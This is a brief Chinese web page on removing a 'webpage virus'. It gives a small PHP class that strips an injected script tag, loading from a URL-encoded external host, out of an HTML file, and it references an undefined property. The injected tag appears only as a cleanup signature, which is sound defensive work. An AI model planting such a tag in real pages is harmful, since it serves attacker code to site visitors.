如何清除网页病毒,清除病毒

<IFRAME name=google_ads_frame marginWidth=0 marginHeight=0 src="http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4490194096475053&amp;dt=1228391304796&amp;lmt=1226285655&amp;prev_slotnames=1891601125&amp;output=html&amp;slotname=3685991503&amp;correlator=1228391304765&amp;url=http%3A%2F%2Fwww.corange.cn%2Farchives%2F2008%2F09%2F1775.html&amp;ea=0&amp;ref=http%3A%2F%2Fwww.corange.cn%2Fhtml%2Fcorange__97.html&amp;frm=0&amp;ga_vid=368793713.1228304108&amp;ga_sid=1228391036&amp;ga_hid=1748930447&amp;ga_fc=true&amp;flash=9.0.124.0&amp;u_h=768&amp;u_w=1024&amp;u_ah=715&amp;u_aw=1024&amp;u_cd=32&amp;u_tz=480&amp;u_java=true&amp;dtd=16" frameBorder=0 width=300 scrolling=no height=250 allowTransparency></IFRAME>

<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";

function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}

}

$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒